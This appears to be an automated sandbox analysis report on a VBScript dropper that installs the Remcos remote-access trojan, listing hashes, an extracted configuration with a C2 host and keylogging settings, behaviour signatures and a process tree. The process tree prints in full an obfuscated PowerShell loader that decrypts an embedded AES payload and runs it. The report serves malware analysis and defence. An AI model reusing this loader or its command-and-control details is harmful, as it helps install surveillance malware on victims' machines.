Analysis

  • max time kernel
    148s
  • max time network
    146s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240709-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system
  • submitted
    25-07-2024 07:37

General

  • Target

    greatbunfeelsoftandhoney.vbs

  • Size

    405KB

  • MD5

    5ebeb712feef959ca93860f33bb90c28

  • SHA1

    09301af0647826aafc70b8217c9b9d73603f4c9c

  • SHA256

    dcc910e18826b06462dd9876597c66f760a0cf3748bb7290f836fd197c992461

  • SHA512

    545c24ead34d651503b236a503570a4b71538118c12d0a98f178a2bf2a90b2562148bf36051005c9e444cb76ce4aeb738205866f90bef0fcffeb83da28fd5881

  • SSDEEP

    3072:/HG1wfkYFIhNe4VTdRnTT8w4TWfZqT92V3gByp0rpbXS7CQzS18f8d6bb/g52r:6wfkYFcZqT9m

Malware Config

Extracted

Family

remcos

Botnet

RemoteHost

C2

sembe.duckdns.org:14645

Attributes
  • audio_folder

    MicRecords

  • audio_record_time

    5

  • connect_delay

    0

  • connect_interval

    1

  • copy_file

    remcos.exe

  • copy_folder

    Remcos

  • delete_file

    false

  • hide_file

    false

  • hide_keylog_file

    false

  • install_flag

    false

  • keylog_crypt

    false

  • keylog_file

    nots.dat

  • keylog_flag

    false

  • keylog_folder

    note

  • keylog_path

    %Temp%

  • mouse_option

    false

  • mutex

    Rmc-999Z97

  • screenshot_crypt

    false

  • screenshot_flag

    false

  • screenshot_folder

    Screenshots

  • screenshot_path

    %AppData%

  • screenshot_time

    10

  • take_screenshot_option

    false

  • take_screenshot_time

    5

Signatures

  • Remcos

    Remcos is a closed-source remote control and surveillance software.

  • Blocklisted process makes network request 2 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 14 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\greatbunfeelsoftandhoney.vbs"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:4704
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command (('((e4jfunction Decrypt-AESEncryption {Param([String]TMIBase64Text,[Stringe4j+e4j]TMIKey)TMIe4j+e4jaesManaged = New-Object System.See4j+e4jcurity.Cryptography.AesManaged;TMIa'+'esManagee4j+e4'+'jd.Modee4j+e4j = [Syse4j+'+'e4jtem.Security.Cryptoge4j+e4jraphy.e4j+e'+'4jCie4'+'j+e4jpherMode]::CBC;TMIaesManaged.'+'Pae4j+e4jddin'+'g = [System.Security.Cryptography.PaddingMode]::Zeros;TMIaesManaged.BlockSiz'+'e = 128;TMIaesManaged.KeySize = 256;'+'TMIaesManagee4j+'+'e4jd.Key = ('+'New-Objecte4'+'j+e4j System.Security.Cryptography.SHA256Managed).ComputeHash([Syste'+'m.Text.Encoding]::UTF8.Gee4j+e4jtBytes(TMIKey));TMIcipherBytes = [Syst'+'em.Convert]::FromBase64String(TMIBase64Text);TMIaesManaged.IV '+'= TMIcipherBytes[0..15];TMIdecryptor = TMIaesManaged.CreateDecryptor();TMIdecryptedBytes = TMIdecryptor.TransformFin'+'alBlock(TMIcipherBytes, 16, TMIcipherBytes.Length - 16);e4j+e4jTMIae'+'sManaged.D'+'ispose('+');return [System.Text.Encoding]::UTF8.GetString'+'(TMIdecry'+'ptedBytes).Tre4j+e4jim([char]0);}TMIchave = CnI78366815743834883177266387252660CnIe4j+e4j;TMItextoCriptogr'+'afadoBase4j+e4je64 = '+'CnIga9tsmjvyGDEbTnjHFelJAUX4KCrTqVd45OcR4UWK9uBqcgRjTWzDVc0WLQLim8CZLV2YjtpSXW2QEA7VS/cvlAg2RLEzlZhddu/3LArAVwxnZmAigs4May7gn4fc9422i1e7fb7BZcIhdfsOatC5rwFPQBEESYDArlsrrsutl8YAgsgkQ4gbI48F1xMvunKLWDK1D/9WrrhLsb1SLaQ/MqF7zxqfvyGQ03UsOYtnpLrLpGmms6XemzN9uablVCW+onrPheHxhUpxAMTM0NOlqdm96kGREpXnp5R0WWFm+VgsQs/0ArBqkL15cemt+b9tRfSYByx0ZCboLCIa+oNycuKAuqf6Y/epNEeWGAqDqtjJqJIdiWHXYEhuwAZ98fk6RvR2+I3Webw06dUuRuR0/wjXoClMN4Oi6lhs/2QJYIgc+pLJV6AdkpnOnyUz4Ph36fvi3kQDM5MYOUDNo2+6gXUpQCiHAOdKqyqpErMF2HnYkU7+9MZfzG1yN7jE1AonEB1cZLclGXlWzU5zLlSJkC++sl5g+H9/Ux0Quib8bCE/GQEENJXAItpoSUbSEZSfX5sz23qzU7iCwed2QQLvqlgF3V+q2aYckTdCPSVAvQRX9WuY9041YV3AFvtROXOXBAlBYI9KqH73bsZgQ78cSk2J0lpsV1brr8w70EaF2NeeTsoQ4rhSYd51QYUKywLaaOj8Yt6xF0RZj1YdsVpNFwER+648GnCnRjUfv946FxuENn2dw+EMKkwuYXc/A7rHY0SRssQqfRcZoVeZO1lDDvDGZ2bQg9+d9Q43Lpu+74awmPIPeIGELZwxij6ybjR1QJfOnA8dmgjAmS1XuRIKcXA6PT/pTItG8AMDa/LaOjsa0aqgsa5cxRaMOzWW1r+50Ff0VZI5mGbmpHMppQMYGAAA9Fwi5V7jMBFgJQTgHqqV6tffqE8RupeU9qsf52nXDHUXNbbNjk1nweHAsTsC2tzLMA7HmTN8L4yXKQnV3MvqgOmux+aqHaZQW0IsGJy4JmJG5l3lPta7tsetb5apmQ0wT5DIdfLz7uQeEJkVnH1dfAIfsDHhZoJCpM9qWVW2lqFkjcdG8iyuM6GCeuGvmSVhivNbbke4zWe+aZ+ih7fbhgFsPzAlTie5kgWKk5g2SiWz6lTgzeHOaC3LYkzM0fMSXGF9iaddVHBcBCdWJF7xk4RStlIEDu7KdXR5WJvjsgJCtVdGJh9Gco4zhyV+jEzhB5qkj1/Vm9he0MtCT8UNW1bB7JD4+CnL/GfJYpWqVJjTGQ5vHPMNz1epJu8k4HYD9Muuhf4Zo9zMppwT7CyAEK71rwBLg3fixJ5zh0YsPGiNEExWdt4NNGO3uC55RE3fIzGbUiaPA/DT9Le+rqO6iC6+pseZmhxxlclJ8HRwll7NQFUpm1UslUS23LMeA==CnI;TMItextoDescriptografado = Decrypt-AESEncryption -'+'Base64Text TMItextoCriptografadoBase64 -Key TMIchave;W'+'rite-Host CnITexe4j+e4jto Descre4j+e4jiptografado: TMI'+'textoDescriptograe4j+e4jfadoCnI;Invoke-Expressioe4j+e4jn TMItext'+'oe4j+e4jDescriptografado;e4j)-rEplACe ([CHar]67+[CHar]110+['+'CHar]73),[CHar]34 -cRePLACe e4jTMIe4j,[CHar]36)AQMinvOKe-EXpReSsion') -CREplacE 'e4j',[Char]39 -CREplacE([Char]65+[Char]81+[Char]77),[Char]124)|&( $verbosEPREFerEncE.tosTriNg()[1,3]+'x'-join'')
      2⤵
      • Blocklisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious use of SetThreadContext
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:4724
      • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of SetWindowsHookEx
        PID:5044

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ebkjsjtf.edx.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • C:\Users\Admin\AppData\Local\Temp\note\nots.dat

    Filesize

    144B

    MD5

    817332c17f9056a73fb65c0d5f948a9d

    SHA1

    d570f66b3bab7a31ccb47acbd1785e0e6c79abb6

    SHA256

    f502cdb5095d52846e5a68c18c64e3aa8f59bd9c4de3532a27ede0e58fc91fbb

    SHA512

    32c26117816ba3aad475aef6ede839231e0d9caf16f4bb4e4a945f09b0676d6f4753b89d3cb0fd44ef4138b6209eb2416194d0d7ac222d9c38d1efdf1ad16c4e

  • memory/4724-1-0x00000268EB5B0000-0x00000268EB5D2000-memory.dmp

    Filesize

    136KB

  • memory/4724-11-0x00007FF8820D0000-0x00007FF882B91000-memory.dmp

    Filesize

    10.8MB

  • memory/4724-12-0x00007FF8820D0000-0x00007FF882B91000-memory.dmp

    Filesize

    10.8MB

  • memory/4724-13-0x00007FF8820D0000-0x00007FF882B91000-memory.dmp

    Filesize

    10.8MB

  • memory/4724-14-0x00000268EBA90000-0x00000268EBBB2000-memory.dmp

    Filesize

    1.1MB

  • memory/4724-0-0x00007FF8820D3000-0x00007FF8820D5000-memory.dmp

    Filesize

    8KB

  • memory/4724-18-0x00007FF8820D0000-0x00007FF882B91000-memory.dmp

    Filesize

    10.8MB

  • memory/5044-15-0x0000000000400000-0x0000000000482000-memory.dmp

    Filesize

    520KB

  • memory/5044-34-0x0000000000400000-0x0000000000482000-memory.dmp

    Filesize

    520KB

  • memory/5044-22-0x0000000000400000-0x0000000000482000-memory.dmp

    Filesize

    520KB

  • memory/5044-25-0x0000000000400000-0x0000000000482000-memory.dmp

    Filesize

    520KB

  • memory/5044-26-0x0000000000400000-0x0000000000482000-memory.dmp

    Filesize

    520KB

  • memory/5044-27-0x0000000000400000-0x0000000000482000-memory.dmp

    Filesize

    520KB

  • memory/5044-28-0x0000000000400000-0x0000000000482000-memory.dmp

    Filesize

    520KB

  • memory/5044-29-0x0000000000400000-0x0000000000482000-memory.dmp

    Filesize

    520KB

  • memory/5044-30-0x0000000000400000-0x0000000000482000-memory.dmp

    Filesize

    520KB

  • memory/5044-20-0x0000000000400000-0x0000000000482000-memory.dmp

    Filesize

    520KB

  • memory/5044-35-0x0000000000400000-0x0000000000482000-memory.dmp

    Filesize

    520KB

  • memory/5044-39-0x0000000000400000-0x0000000000482000-memory.dmp

    Filesize

    520KB

  • memory/5044-19-0x0000000000400000-0x0000000000482000-memory.dmp

    Filesize

    520KB

  • memory/5044-43-0x0000000000400000-0x0000000000482000-memory.dmp

    Filesize

    520KB

  • memory/5044-44-0x0000000000400000-0x0000000000482000-memory.dmp

    Filesize

    520KB

  • memory/5044-51-0x0000000000400000-0x0000000000482000-memory.dmp

    Filesize

    520KB

  • memory/5044-52-0x0000000000400000-0x0000000000482000-memory.dmp

    Filesize

    520KB

  • memory/5044-59-0x0000000000400000-0x0000000000482000-memory.dmp

    Filesize

    520KB

  • memory/5044-67-0x0000000000400000-0x0000000000482000-memory.dmp

    Filesize

    520KB

  • memory/5044-68-0x0000000000400000-0x0000000000482000-memory.dmp

    Filesize

    520KB